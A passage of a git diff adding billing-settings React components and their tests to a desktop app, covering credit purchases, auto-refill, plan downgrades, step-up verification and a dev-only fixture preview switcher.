+  it('moves focus into the confirm panel (role=status) when a downgrade opens', async () => {
+    const fixture = billingDevFixtures['subscriber-personal']
+
+    apiMocks.fetchBillingState.mockResolvedValue(fixture.billing)
+    apiMocks.fetchSubscriptionState.mockResolvedValue(fixture.subscription)
+    apiMocks.previewSubscriptionChange.mockResolvedValue({
+      data: { effect: 'scheduled', effective_at: '2026-08-15T00:00:00Z', ok: true, target_tier_name: 'Free' },
+      ok: true
+    })
+
+    renderBilling(['/settings?tab=billing&bview=plans'])
+
+    fireEvent.click(await screen.findByRole('button', { name: 'Downgrade' }))
+
+    const panel = await screen.findByRole('status')
+
+    expect(panel.getAttribute('aria-live')).toBe('polite')
+    expect(panel).toBe(panel.ownerDocument.activeElement)
+  })
+
+  it('keeps the auto-refill edit form mounted so the row height is reserved before editing', async () => {
+    renderBilling()
+
+    await screen.findByRole('button', { name: 'Manage' })
+
+    // Not editing: the inputs are already in the DOM (height reserved) but aria-hidden,
+    // so the accessible query finds nothing while the hidden-inclusive query does.
+    expect(screen.queryByRole('spinbutton', { name: 'Auto-refill threshold' })).toBeNull()
+    expect(screen.getByRole('spinbutton', { name: 'Auto-refill threshold', hidden: true })).toBeTruthy()
+
+    fireEvent.click(screen.getByRole('button', { name: 'Manage' }))
+
+    // Editing reveals the same reserved input.
+    expect(screen.getByRole('spinbutton', { name: 'Auto-refill threshold' })).toBeTruthy()
+  })
+
+  it('renders auto-refill mutation refusals and step-up affordance', async () => {
+    renderBilling()
+
+    apiMocks.updateAutoReload.mockResolvedValue({
+      ok: false,
+      refusal: {
+        kind: 'insufficient_scope',
+        message: 'billing:manage required'
+      }
+    })
+
+    fireEvent.click(await screen.findByRole('button', { name: 'Manage' }))
+    fireEvent.change(screen.getByRole('spinbutton', { name: 'Auto-refill threshold' }), {
+      target: { value: '15' }
+    })
+    fireEvent.change(screen.getByRole('spinbutton', { name: 'Auto-refill reload-to amount' }), {
+      target: { value: '20' }
+    })
+    fireEvent.click(screen.getByRole('button', { name: 'Save' }))
+
+    expect(await screen.findByText('Remote Spending needs approval:')).toBeTruthy()
+    expect(screen.getByText('This needs Remote Spending allowed. Start a top-up to allow it, then retry.')).toBeTruthy()
+    expect(screen.getByRole('button', { name: 'Verify to continue' })).toBeTruthy()
+  })
+
+  it('keeps disabled auto-refill portal-only with no enable control', async () => {
+    apiMocks.fetchBillingState.mockResolvedValue(okBilling(postTrainBillingState))
+    apiMocks.fetchSubscriptionState.mockResolvedValue(okSubscription(postTrainSubscriptionState))
+
+    renderBilling()
+
+    expect((await screen.findAllByText('Off')).length).toBeGreaterThan(0)
+    expect(screen.getByText('Turn on auto-refill from the portal')).toBeTruthy()
+    expect(screen.queryByRole('button', { name: /enable/i })).toBeNull()
+    expect(screen.queryByRole('button', { name: 'Manage' })).toBeNull()
+  })
+
+  it('disables buy controls while polling and renders the settled outcome', async () => {
+    let settleStatus: (value: unknown) => void = () => {}
+
+    const statusPromise = new Promise(resolve => {
+      settleStatus = resolve
+    })
+
+    apiMocks.fetchBillingState.mockResolvedValue(okBilling(postTrainBillingState))
+    apiMocks.fetchSubscriptionState.mockResolvedValue(okSubscription(postTrainSubscriptionState))
+    apiMocks.charge.mockResolvedValue({
+      data: {
+        charge_id: 'ch_123',
+        ok: true
+      },
+      idempotencyKey: 'key-1',
+      ok: true
+    })
+    apiMocks.chargeStatus.mockReturnValue(statusPromise)
+
+    renderBilling()
+
+    fireEvent.click(await screen.findByRole('button', { name: /^Buy$/ }))
+
+    expect(await screen.findByText('Processing… checking settlement')).toBeTruthy()
+    expect(screen.getByRole('button', { name: '$25' }).hasAttribute('disabled')).toBe(true)
+    expect(screen.getByRole('button', { name: '$50' }).hasAttribute('disabled')).toBe(true)
+    expect(screen.getByRole('spinbutton', { name: 'Custom credit amount' }).hasAttribute('disabled')).toBe(true)
+    expect(screen.getByRole('button', { name: /^Buy$/ }).hasAttribute('disabled')).toBe(true)
+
+    settleStatus({
+      data: {
+        amount_usd: '25',
+        ok: true,
+        status: 'settled'
+      },
+      ok: true
+    })
+
+    await waitFor(() => expect(screen.getByText('$25 added. Balance is refreshing.')).toBeTruthy())
+  })
+
+  it('renders logged-out as a connect card without normal account rows', async () => {
+    apiMocks.fetchBillingState.mockResolvedValue(okBilling(loggedOutBillingState))
+    apiMocks.fetchSubscriptionState.mockResolvedValue(okSubscription(loggedOutSubscriptionState))
+
+    renderBilling()
+
+    expect(await screen.findByText('Connect your Nous account')).toBeTruthy()
+    expect(screen.getByText('Run /portal in the TUI or open the Nous portal to connect your account.')).toBeTruthy()
+    expect(screen.queryByText('Payment method')).toBeNull()
+    expect(screen.queryByText('Usage')).toBeNull()
+  })
+
+  it('renders danger value text for overdrawn subscription credits', async () => {
+    const fixture = billingDevFixtures['empty-overdrawn']
+
+    apiMocks.fetchBillingState.mockResolvedValue(fixture.billing)
+    apiMocks.fetchSubscriptionState.mockResolvedValue(fixture.subscription)
+
+    renderBilling()
+
+    expect((await screen.findByText('$0 of $220 left · $0.79 over')).classList.contains('text-destructive')).toBe(true)
+    const subscriptionTrack = screen.getByRole('progressbar', { name: 'Subscription credits remaining' })
+
+    // Plain shared primitive track (no bespoke dither/tinted chrome); the
+    // over-limit signal rides the destructive fill instead.
+    expect(subscriptionTrack.classList.contains('dither')).toBe(false)
+    expect(subscriptionTrack.classList.contains('bg-muted')).toBe(true)
+    expect(subscriptionTrack.querySelector('.bg-destructive')).toBeTruthy()
+  })
+
+  it('renders an empty neutral usage track when a row has no bar data', async () => {
+    const fixture = billingDevFixtures['no-subscription']
+
+    apiMocks.fetchBillingState.mockResolvedValue(
+      okBilling({
+        ...todayBillingState,
+        monthly_cap: {
+          ...todayBillingState.monthly_cap,
+          spent_display: '$0',
+          spent_this_month_usd: '0'
+        }
+      })
+    )
+    apiMocks.fetchSubscriptionState.mockResolvedValue(fixture.subscription)
+
+    renderBilling()
+
+    await screen.findByText('Subscription credits')
+    const subscriptionTrack = screen.getByRole('progressbar', { name: 'Subscription credits usage' })
+
+    expect(subscriptionTrack.getAttribute('aria-valuenow')).toBe('0')
+    expect(subscriptionTrack.classList.contains('text-destructive')).toBe(false)
+    // Empty tracks are the plain shared primitive now — no hatched placeholder.
+    expect(subscriptionTrack.classList.contains('dither')).toBe(false)
+    expect(subscriptionTrack.classList.contains('bg-muted')).toBe(true)
+
+    const monthlyCapTrack = screen.getByRole('progressbar', { name: 'Monthly spend cap used' })
+
+    expect(monthlyCapTrack.getAttribute('aria-valuenow')).toBe('0')
+    expect(monthlyCapTrack.classList.contains('dither')).toBe(false)
+    expect(monthlyCapTrack.classList.contains('bg-muted')).toBe(true)
+  })
+
+  it('shows a warn notice that names the no-card blocker with a portal link', async () => {
+    const fixture = billingDevFixtures['no-card']
+
+    apiMocks.fetchBillingState.mockResolvedValue(fixture.billing)
+    apiMocks.fetchSubscriptionState.mockResolvedValue(fixture.subscription)
+
+    renderBilling()
+
+    expect(await screen.findByText('No payment method on file')).toBeTruthy()
+    expect(
+      screen.getByText(
+        'Buying top-up credits and auto-refill stay disabled until a card is on file. Add one on the portal.'
+      )
+    ).toBeTruthy()
+    expect(screen.getByRole('button', { name: /Add card/ })).toBeTruthy()
+  })
+
+  it('does not show the no-card notice when a card is on file', async () => {
+    renderBilling()
+
+    await screen.findByText('$996.47')
+    expect(screen.queryByText('No payment method on file')).toBeNull()
+  })
+
+  it('polls billing on an interval without a manual refresh control', async () => {
+    renderBilling()
+
+    await screen.findByText('$120 of $220 left')
+    // The manual refresh affordance is gone — the queries poll on their own.
+    expect(screen.queryByRole('button', { name: 'Refresh' })).toBeNull()
+    expect(screen.queryByText(/Updated/)).toBeNull()
+  })
+})
diff --git a/ui-desktop/src/app/settings/billing/index.tsx b/ui-desktop/src/app/settings/billing/index.tsx
new file mode 100644
index 000000000..040d37b3b
--- /dev/null
+++ b/ui-desktop/src/app/settings/billing/index.tsx
@@ -0,0 +1,584 @@
+import { useQueryClient } from '@tanstack/react-query'
+import { useEffect, useMemo, useState } from 'react'
+
+import { Button } from '@/components/ui/button'
+import { Input } from '@/components/ui/input'
+import { Progress } from '@/components/ui/progress'
+import { SegmentedControl } from '@/components/ui/segmented-control'
+import { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from '@/components/ui/select'
+import { Skeleton } from '@/components/ui/skeleton'
+import { BarChart3, CreditCard, ExternalLink, Package, Wrench } from '@/lib/icons'
+import { cn } from '@/lib/utils'
+
+import { useRouteEnumParam } from '../../hooks/use-route-enum-param'
+import {
+  ListRow,
+  ListRowSkeleton,
+  SectionHeading,
+  SectionHeadingSkeleton,
+  SettingsContent,
+  SettingsSection
+} from '../primitives'
+
+import { RowValue } from './account-row-value'
+import { BillingApiProvider } from './api'
+import { AutoReloadRow } from './auto-reload-row'
+import { clampAmount, formatMoney } from './billing-amounts'
+import { CurrentPlanCard } from './current-plan-card'
+import { type BillingDevFixtureName, billingDevFixtures } from './dev-fixtures'
+import { StepUpInlineAction } from './inline-feedback'
+import { openExternal } from './open-external'
+import { BillingPlansView } from './plans-view'
+import { createSimulatedBillingApi } from './simulated-api'
+import type { BillingStateResponse } from './types'
+import {
+  type BillingAccountRowView,
+  type BillingNoticeView,
+  type BillingUsageRowView,
+  deriveBillingView,
+  useBillingState,
+  useSubscriptionState
+} from './use-billing-state'
+import { useChargeFlow } from './use-charge-poller'
+import { useStepUpFlow } from './use-step-up'
+
+// `bview` mirrors the settings pview/kview sub-view pattern (deep-linkable, replace
+// navigation). `overview` is the default landing; `plans` is the in-app catalog.
+const BILLING_VIEWS = ['overview', 'plans'] as const
+type BillingSubView = (typeof BILLING_VIEWS)[number]
+
+const FEATURE_BILLING_INVOICES = false
+
+const BILLING_DEV_FIXTURE_NAMES = import.meta.env.DEV
+  ? (Object.keys(billingDevFixtures) as BillingDevFixtureName[])
+  : []
+
+type BillingFixtureSelection = 'live' | BillingDevFixtureName
+
+function SummaryCard({ label, value, tone }: { label: string; tone?: 'muted' | 'primary'; value: string }) {
+  return (
+    <div className="min-w-0">
+      <div className="text-[length:var(--conversation-caption-font-size)] text-(--ui-text-tertiary)">{label}</div>
+      <div
+        className={cn(
+          'mt-1 min-w-0 truncate text-lg font-semibold tabular-nums',
+          tone === 'primary' ? 'text-(--ui-green)' : tone === 'muted' ? 'text-(--ui-text-tertiary)' : 'text-foreground'
+        )}
+      >
+        {value}
+      </div>
+    </div>
+  )
+}
+
+function NoticeCard({ notice }: { notice: BillingNoticeView }) {
+  const warn = notice.tone === 'warn'
+
+  return (
+    <div className={cn('mb-6 rounded-xl p-4', warn ? 'bg-(--ui-yellow)/10' : 'bg-(--ui-bg-quaternary)')}>
+      <div
+        className={cn(
+          'text-[length:var(--conversation-text-font-size)] font-medium',
+          warn ? 'text-(--ui-yellow)' : 'text-foreground'
+        )}
+      >
+        {notice.title}
+      </div>
+      <div className="mt-1 text-[length:var(--conversation-caption-font-size)] leading-(--conversation-caption-line-height) text-(--ui-text-tertiary)">
+        {notice.message}
+      </div>
+      {notice.action && (
+        <Button
+          className="mt-3"
+          onClick={() => openExternal(notice.action?.url)}
+          size="sm"
+          type="button"
+          variant="outline"
+        >
+          {notice.action.label}
+          <ExternalLink className="size-3.5" />
+        </Button>
+      )}
+    </div>
+  )
+}
+
+// The payment method as it rides in the "Payment & credits" heading: the current
+// card (muted) plus a single underline text action (Update / Add payment method).
+function PaymentMethodAside({ row }: { row: BillingAccountRowView }) {
+  return (
+    <div className="flex min-w-0 items-center gap-2.5">
+      {row.value && (
+        <span className="min-w-0 truncate text-[length:var(--conversation-caption-font-size)] font-normal text-(--ui-text-tertiary)">
+          {row.value}
+        </span>
+      )}
+      {row.action && (
+        <Button
+          disabled={row.action.disabled}
+          onClick={row.action.url ? () => openExternal(row.action?.url) : undefined}
+          size="sm"
+          type="button"
+          variant="textStrong"
+        >
+          {row.action.label}
+        </Button>
+      )}
+    </div>
+  )
+}
+
+function AccountRow({ billing, row }: { billing?: BillingStateResponse; row: BillingAccountRowView }) {
+  if (row.id === 'buy_credits' && row.action && row.chips && billing?.can_charge && billing.cli_billing_enabled) {
+    return <BuyCreditsRow billing={billing} row={row} />
+  }
+
+  if (row.id === 'auto_reload' && billing?.auto_reload) {
+    return <AutoReloadRow autoReload={billing.auto_reload} bounds={billing} row={row} />
+  }
+
+  return (
+    <ListRow
+      action={<RowValue row={row} />}
+      below={
+        row.caption ? (
+          <div className="mt-1 text-[length:var(--conversation-caption-font-size)] text-(--ui-text-tertiary)">
+            {row.caption}
+          </div>
+        ) : undefined
+      }
+      description={row.description}
+      key={row.id}
+      title={row.title}
+    />
+  )
+}
+
+function BuyCreditsRow({ billing, row }: { billing: BillingStateResponse; row: BillingAccountRowView }) {
+  const presets = useMemo(
+    () =>
+      billing.charge_presets.map((amount, index) => ({
+        amount,
+        label: billing.charge_presets_display[index] || formatMoney(amount)
+      })),
+    [billing.charge_presets, billing.charge_presets_display]
+  )
+
+  const initialAmount = presets[0]?.amount ?? billing.min_usd ?? ''
+  const [amount, setAmount] = useState(initialAmount)
+  const flow = useChargeFlow()
+  const busy = flow.phase === 'charging' || flow.phase === 'polling'
+  const controlsDisabled = busy || !billing.card
+  const clampedAmount = clampAmount(amount, billing)
+  const canBuy = !controlsDisabled && clampedAmount !== ''
+
+  const startBuy = () => {
+    if (!canBuy) {
+      return
+    }
+
+    setAmount(clampedAmount)
+    void flow.start(clampedAmount)
+  }
+
+  return (
+    <ListRow
+      action={
+        <div className="flex min-w-0 flex-wrap items-center justify-start gap-2 @2xl:justify-end">
+          <SegmentedControl
+            disabled={controlsDisabled}
+            onChange={value => setAmount(value)}
+            options={presets.map(preset => ({ id: preset.amount, label: preset.label }))}
+            value={amount}
+          />
+          <Input
+            aria-label="Custom credit amount"
+            containerClassName="w-16"
+            disabled={controlsDisabled}
+            inputMode="decimal"
+            max={billing.max_usd ?? undefined}
+            min={billing.min_usd ?? undefined}
+            onBlur={() => setAmount(clampedAmount)}
+            onChange={event => {
+              flow.reset()
+              setAmount(event.target.value)
+            }}
+            placeholder={billing.min_usd ?? ''}
+            prefix="$"
+            size="xs"
+            step="0.01"
+            type="number"
+            value={amount}
+          />
+          <Button disabled={!canBuy} onClick={startBuy} size="xs" type="button" variant="secondary">
+            Buy
+          </Button>
+        </div>
+      }
+      below={
+        <BuyCreditsOutcome
+          amount={clampedAmount}
+          busy={busy}
+          onPortal={openExternal}
+          onRetry={() => {
+            if (!clampedAmount) {
+              return
+            }
+
+            void flow.start(clampedAmount)
+          }}
+          outcome={flow.outcome}
+        />
+      }
+      description={row.description}
+      key={row.id}
+      title={row.title}
+    />
+  )
+}
+
+function BuyCreditsOutcome({
+  amount,
+  busy,
+  onPortal,
+  onRetry,
+  outcome
+}: {
+  amount: string
+  busy: boolean
+  onPortal: (url?: string) => void
+  onRetry: () => void
+  outcome: ReturnType<typeof useChargeFlow>['outcome']
+}) {
+  const stepUp = useStepUpFlow()
+
+  if (busy) {
+    return (
+      <div className="mt-2 text-[length:var(--conversation-caption-font-size)] text-(--ui-text-tertiary)">
+        Processing… checking settlement
+      </div>
+    )
+  }
+
+  if (!outcome) {
+    return null
+  }
+
+  if (outcome.kind === 'success') {
+    return (
+      <div className="mt-2 text-[length:var(--conversation-caption-font-size)] text-(--ui-text-tertiary)">
+        {formatMoney(outcome.amountUsd ?? amount)} added. Balance is refreshing.
+      </div>
+    )
+  }
+
+  if (outcome.kind === 'ambiguous') {
+    return (
+      <div className="mt-2 flex min-w-0 flex-wrap items-center gap-2 text-[length:var(--conversation-caption-font-size)] text-(--ui-text-tertiary)">
+        <span>
+          {outcome.title}: {outcome.message}
+        </span>
+        {outcome.portalUrl && (
+          <Button onClick={() => onPortal(outcome.portalUrl)} size="sm" type="button" variant="outline">
+            Open portal
+            <ExternalLink className="size-3.5" />
+          </Button>
+        )}
+      </div>
+    )
+  }
+
+  const portalUrl = outcome.action?.type === 'portal' ? outcome.action.url : undefined
+
+  return (
+    <div className="mt-2 flex min-w-0 flex-wrap items-center gap-2 text-[length:var(--conversation-caption-font-size)] text-(--ui-text-tertiary)">
+      <span>
+        {outcome.title}: {outcome.message}
+      </span>
+      {outcome.action?.type === 'retry' && (
+        <Button onClick={onRetry} size="sm" type="button" variant="outline">
+          Retry
+        </Button>
+      )}
+      {outcome.action?.type === 'step_up' && <StepUpInlineAction flow={stepUp} />}
+      {portalUrl && (
+        <Button onClick={() => onPortal(portalUrl)} size="sm" type="button" variant="outline">
+          Open portal
+          <ExternalLink className="size-3.5" />
+        </Button>
+      )}
+    </div>
+  )
+}
+
+function UsageBar({ bar, fallbackLabel }: { bar?: BillingUsageRowView['bar']; fallbackLabel: string }) {
+  const resolvedBar = bar ?? {
+    label: `${fallbackLabel} usage`,
+    state: 'neutral',
+    tone: 'topup',
+    value: 0
+  }
+
+  // Plain shared primitive — no bespoke track chrome. Only the fill tone carries
+  // billing meaning: destructive when over-limit, green for healthy remaining
+  // credits, muted otherwise. Color rides the sanctioned `fillClassName` override.
+  const isOk = resolvedBar.state === 'ok' && (resolvedBar.tone === 'subscription' || resolvedBar.tone === 'topup')
+
+  return (
+    <Progress
+      aria-label={resolvedBar.label}
+      destructive={resolvedBar.state === 'danger'}
+      fillClassName={resolvedBar.state === 'danger' ? undefined : isOk ? 'bg-(--ui-green)' : 'bg-muted-foreground/45'}
+      fillStyle={{ minWidth: resolvedBar.value > 0 ? 4 : undefined }}
+      size="lg"
+      value={resolvedBar.value}
+    />
+  )
+}
+
+function UsageRow({ row }: { row: BillingUsageRowView }) {
+  return (
+    <div className="@container">
+      <div className="grid min-w-0 gap-2 py-3 @2xl:grid-cols-[minmax(0,180px)_minmax(0,1fr)_220px] @2xl:items-center @2xl:gap-4">
+        <div className="min-w-0">
+          <div className="text-[length:var(--conversation-text-font-size)] font-medium text-foreground">
+            {row.title}
+          </div>
+          <div className="mt-1 text-[length:var(--conversation-caption-font-size)] text-(--ui-text-tertiary)">
+            {row.caption}
+          </div>
+        </div>
+        <div className="min-w-0">
+          <UsageBar bar={row.bar} fallbackLabel={row.title} />
+        </div>
+        <div
+          className={cn(
+            'min-w-0 whitespace-nowrap text-[length:var(--conversation-text-font-size)] font-medium tabular-nums @2xl:w-[220px] @2xl:flex-none @2xl:text-right',
+            row.bar?.state === 'danger' ? 'text-destructive' : 'text-foreground'
+          )}
+        >
+          {row.value}
+        </div>
+      </div>
+    </div>
+  )
+}
+
+// DEV-only preview switcher: swaps the whole page onto a canned fixture so every
+// billing state can be reviewed without a matching live account. Marked with a
+// wrench + "preview" so it never reads as a shipping control (it's compiled out of
+// production builds entirely).
+function BillingFixtureSelect({
+  onValueChange,
+  value
+}: {
+  onValueChange: (value: BillingFixtureSelection) => void
+  value: BillingFixtureSelection
+}) {
+  return (
+    <div className="flex items-center gap-1.5 text-(--ui-text-tertiary)">
+      <Wrench className="size-3.5 shrink-0" />
+      <span className="text-xs font-normal">preview</span>
+      <Select onValueChange={value => onValueChange(value as BillingFixtureSelection)} value={value}>
+        <SelectTrigger
+          aria-label="Billing preview fixture (dev only)"
+          className="h-7 w-36 border-dashed border-(--ui-stroke-secondary) bg-transparent px-2 text-xs font-normal text-(--ui-text-tertiary) shadow-none hover:bg-(--ui-bg-tertiary) focus-visible:ring-0 focus-visible:ring-offset-0 data-[state=open]:bg-(--ui-bg-tertiary)"
+          size="sm"
+        >
+          <SelectValue />
+        </SelectTrigger>
+        <SelectContent align="end">
+          <SelectItem value="live">live</SelectItem>
+          {BILLING_DEV_FIXTURE_NAMES.map(name => (
+            <SelectItem key={name} value={name}>
+              {name}
+            </SelectItem>
+          ))}
+        </SelectContent>
+      </Select>
+    </div>
+  )
+}
+
+function BillingHeader({
+  fixtureName,
+  onFixtureChange
+}: {
+  fixtureName?: BillingFixtureSelection
+  onFixtureChange?: (value: BillingFixtureSelection) => void
+}) {
+  return (
+    <div className="mb-2.5 flex items-center justify-between gap-3 pt-2 text-[length:var(--conversation-text-font-size)] font-medium">
+      <div className="flex min-w-0 items-center gap-2">
+        <BarChart3 className="size-4 shrink-0 text-muted-foreground" />
+        <span>Billing</span>
+      </div>
+      {import.meta.env.DEV && fixtureName && onFixtureChange ? (
+        <BillingFixtureSelect onValueChange={onFixtureChange} value={fixtureName} />
+      ) : null}
+    </div>
+  )
+}
+
+// Loading shape for the billing overview: three summary cards over the Plan /
+// Payment & credits / Usage sections. Rendered under the real header.
+function BillingSkeleton() {
+  return (
+    <>
+      <div className="@container mb-6">
+        <div className="grid gap-3 @2xl:grid-cols-3">
+          {[0, 1, 2].map(i => (
+            <div className="min-w-0 space-y-2" key={i}>
+              <Skeleton className="h-3 w-24" />
+              <Skeleton className="h-6 w-20" />
+            </div>
+          ))}
+        </div>
+      </div>
+      {[0, 1, 2].map(section => (
+        <section className="mb-6" key={section}>
+          <SectionHeadingSkeleton />
+          <div className="grid gap-1">
+            <ListRowSkeleton />
+            <ListRowSkeleton />
+          </div>
+        </section>
+      ))}
+    </>
+  )
+}
+
+function BillingSettingsContent({
+  fixtureName,
+  onFixtureChange
+}: {
+  fixtureName?: BillingFixtureSelection
+  onFixtureChange?: (value: BillingFixtureSelection) => void
+}) {
+  const [subView, setSubView] = useRouteEnumParam<BillingSubView>('bview', BILLING_VIEWS, 'overview')
+
+  // Fixture mode flows through the SAME query path — the simulated api (supplied by
+  // BillingApiProvider in the DEV wrapper) backs these fetches — so there is no
+  // fixture short-circuit here.
+  const billingState = useBillingState()
+  const subscriptionState = useSubscriptionState()
+
+  // First load keeps the page's shape via a skeleton instead of flashing "—"
+  // summary cards (background refetches leave `isPending` false, so no flicker).
+  if (billingState.isPending) {
+    return (
+      <SettingsContent>
+        <BillingHeader fixtureName={fixtureName} onFixtureChange={onFixtureChange} />
+        <BillingSkeleton />
+      </SettingsContent>
+    )
+  }
+
+  const billingResult = billingState.data
+  const subscriptionResult = subscriptionState.data
+  const view = deriveBillingView(billingResult, subscriptionResult)
+  const billing = billingResult?.ok ? billingResult.data : undefined
+
+  const { paymentRow, refillRow, topupRow } = view
+
+  // The payment method rides in the section header (right-aligned) — the
+  // "Payment & credits" title already names it, so a full labelled row would just
+  // repeat "Payment method". The stacked rows are the remaining money controls.
+  const accountRows = [topupRow, refillRow].filter((row): row is BillingAccountRowView => row !== undefined)
+
+  // Gate the plans sub-view on the SAME capability that renders the in-app button
+  // (`plan.action`): a team / non-changer deep-linking `bview=plans` must never
+  // reach a grid of live Choose buttons — it falls back to the overview.
+  const showPlans = subView === 'plans' && view.status === 'normal' && Boolean(view.plan?.action)
+
+  if (showPlans) {
+    return (
+      <SettingsContent>
+        <BillingHeader fixtureName={fixtureName} onFixtureChange={onFixtureChange} />
+        <BillingPlansView onBack={() => setSubView('overview')} tiers={view.tiers} />
+      </SettingsContent>
+    )
+  }
+
+  return (
+    <SettingsContent>
+      <BillingHeader fixtureName={fixtureName} onFixtureChange={onFixtureChange} />
+
+      {view.notice && <NoticeCard notice={view.notice} />}
+
+      <div className="@container mb-6">
+        <div className="grid gap-3 @2xl:grid-cols-3">
+          {view.summary.map(item => (
+            <SummaryCard key={item.label} label={item.label} tone={item.tone} value={item.value} />
+          ))}
+        </div>
+      </div>
+
+      {view.plan && (
+        <SettingsSection icon={Package} title="Plan">
+          <CurrentPlanCard onViewPlans={() => setSubView('plans')} plan={view.plan} />
+        </SettingsSection>
+      )}
+
+      {(paymentRow || accountRows.length > 0) && (
+        <SettingsSection
+          aside={paymentRow ? <PaymentMethodAside row={paymentRow} /> : undefined}
+          icon={CreditCard}
+          title="Payment & credits"
+        >
+          {accountRows.map(row => (
+            <AccountRow billing={billing} key={row.id} row={row} />
+          ))}
+        </SettingsSection>
+      )}
+
+      {view.usageRows.length > 0 && (
+        <SettingsSection icon={BarChart3} title="Usage">
+          <div className="@container">
+            {view.usageRows.map(row => (
+              <UsageRow key={row.id} row={row} />
+            ))}
+          </div>
+        </SettingsSection>
+      )}
+
+      {
+        // no endpoint yet — NAS capability-board gap
+        FEATURE_BILLING_INVOICES ? <SectionHeading icon={BarChart3} title="Invoices" /> : null
+      }
+    </SettingsContent>
+  )
+}
+
+function BillingSettingsWithDevFixtures() {
+  const [fixtureName, setFixtureName] = useState<BillingFixtureSelection>('live')
+  const queryClient = useQueryClient()
+
+  // DEV-only: a picked fixture is served by a simulated api (in-memory, mutable) that
+  // the whole subtree resolves via BillingApiProvider → useBillingApi. `live` → null →
+  // the real gateway api. Rebuilt per fixture so switching starts from a fresh copy.
+  const simulatedApi = useMemo(
+    () => (fixtureName !== 'live' ? createSimulatedBillingApi(billingDevFixtures[fixtureName]) : null),
+    [fixtureName]
+  )
+
+  // Switching fixtures (or its simulated api) must refetch, since the billing queries
+  // are keyed the same across fixtures.
+  useEffect(() => {
+    void queryClient.invalidateQueries({ queryKey: ['billing'] })
+  }, [queryClient, simulatedApi])
+
+  return (
+    <BillingApiProvider value={simulatedApi}>
+      <BillingSettingsContent fixtureName={fixtureName} onFixtureChange={setFixtureName} />
+    </BillingApiProvider>
+  )
+}
+
+export function BillingSettings() {
+  if (import.meta.env.DEV) {
+    return <BillingSettingsWithDevFixtures />
+  }
+
+  return <BillingSettingsContent />
+}
diff --git a/ui-desktop/src/app/settings/billing/inline-feedback.tsx b/ui-desktop/src/app/settings/billing/inline-feedback.tsx
new file mode 100644
index 000000000..dcc3e2799
--- /dev/null
+++ b/ui-desktop/src/app/settings/billing/inline-feedback.tsx
@@ -0,0 +1,70 @@
+import { Button } from '@/components/ui/button'
+import { openExternalLink } from '@/lib/external-link'
+import { ExternalLink } from '@/lib/icons'
+
+import type { BillingRefusal } from './api'
+import { resolveRefusal } from './errors'
+import { useStepUpFlow } from './use-step-up'
+
+export function StepUpInlineAction({ flow }: { flow: ReturnType<typeof useStepUpFlow> }) {
+  if (flow.verification) {
+    return (
+      <span className="inline-flex min-w-0 flex-wrap items-center gap-2">
+        <span className="font-mono text-[0.72rem] font-semibold text-foreground">{flow.verification.code}</span>
+        <Button onClick={flow.openVerification} size="sm" type="button" variant="outline">
+          Open verification page
+          <ExternalLink className="size-3.5" />
+        </Button>
+      </span>
+    )
+  }
+
+  if (flow.message) {
+    return (
+      <span className="inline-flex min-w-0 flex-wrap items-center gap-2">
+        <span>
+          {flow.message.title}: {flow.message.text}
+        </span>
+        <Button onClick={flow.dismiss} size="sm" type="button" variant="outline">
+          Dismiss
+        </Button>
+      </span>
+    )
+  }
+
+  if (flow.phase === 'waiting') {
+    return <span>Waiting for verification link…</span>
+  }
+
+  return (
+    <Button onClick={() => void flow.start()} size="sm" type="button" variant="outline">
+      Verify to continue
+    </Button>
+  )
+}
+
+export function BillingRefusalInline({ refusal }: { refusal: BillingRefusal | null }) {
+  const stepUp = useStepUpFlow()
+
+  if (!refusal) {
+    return null
+  }
+
+  const resolved = resolveRefusal(refusal)
+  const portalUrl = resolved.action.type === 'portal' ? resolved.action.url : undefined
+
+  return (
+    <div className="mt-2 flex min-w-0 flex-wrap items-center gap-2 text-[length:var(--conversation-caption-font-size)] text-(--ui-text-tertiary)">
+      <span>
+        <span className="font-medium text-foreground">{resolved.title}:</span> {resolved.message}
+      </span>
+      {resolved.action.type === 'step_up' && <StepUpInlineAction flow={stepUp} />}
+      {portalUrl && (
+        <Button onClick={() => openExternalLink(portalUrl)} size="sm" type="button" variant="outline">
+          Open portal
+          <ExternalLink className="size-3.5" />
+        </Button>
+      )}
+    </div>
+  )
+}
diff --git a/ui-desktop/src/app/settings/billing/open-external.ts b/ui-desktop/src/app/settings/billing/open-external.ts
new file mode 100644
index 000000000..dfda48475
--- /dev/null
+++ b/ui-desktop/src/app/settings/billing/open-external.ts
@@ -0,0 +1,9 @@
+import { openExternalLink } from '@/lib/external-link'
+
+// Optional-arg convenience over the canonical opener — the billing rows pass
+// possibly-undefined URLs straight through from their view models.
+export function openExternal(url?: string) {
+  if (url) {
+    openExternalLink(url)
+  }
+}
diff --git a/ui-desktop/src/app/settings/billing/plans-view.tsx b/ui-desktop/src/app/settings/billing/plans-view.tsx
new file mode 100644
index 000000000..728a81423
--- /dev/null
+++ b/ui-desktop/src/app/settings/billing/plans-view.tsx
@@ -0,0 +1,229 @@
+import { useEffect, useRef } from 'react'
+
+import { Button } from '@/components/ui/button'
+import { openExternalLink } from '@/lib/external-link'
+import { ChevronLeft, ExternalLink } from '@/lib/icons'
+import { cn } from '@/lib/utils'
+
+import { Pill } from '../primitives'
+
+import { BillingRefusalInline } from './inline-feedback'
+import { TierArt } from './tier-art'
+import { type BillingPlanTierView, formatBillingDate, formatMonthlyCreditsDelta } from './use-billing-state'
+import { type DowngradePhase, useDowngradeFlow } from './use-subscription-change'
+
+type DowngradeFlow = ReturnType<typeof useDowngradeFlow>
+
+// The human sentence for the panel body, derived purely from the phase. `null` while
+// a refusal is the only thing to show (BillingRefusalInline renders that separately).
+function previewMessage(phase: DowngradePhase, fallbackTierName: string): null | string {
+  if (phase.kind === 'previewing') {
+    return 'Checking this change…'
+  }
+
+  if (phase.kind === 'previewFailed') {
+    return null
+  }
+
+  const { preview } = phase
+  const targetName = preview.target_tier_name ?? fallbackTierName
+  const creditsDelta = formatMonthlyCreditsDelta(preview.monthly_credits_delta)
+
+  switch (preview.effect) {
+    case 'blocked':
+      return preview.reason ?? 'That change cannot be made here.'
+
+    case 'no_op':
+      return `You are already on ${targetName} — nothing to change.`
+
+    case 'scheduled':
+      return (
+        `Change to ${targetName} — takes effect ${formatBillingDate(preview.effective_at)}. No charge now; ` +
+        `you keep your current plan until then.${creditsDelta ? ` Monthly credits change: ${creditsDelta}.` : ''}`
+      )
+
+    default:
+      return 'This change cannot be scheduled here.'
+  }
+}
+
+// The in-card preview → confirm panel for a downgrade (mirrors the TUI confirm flow).
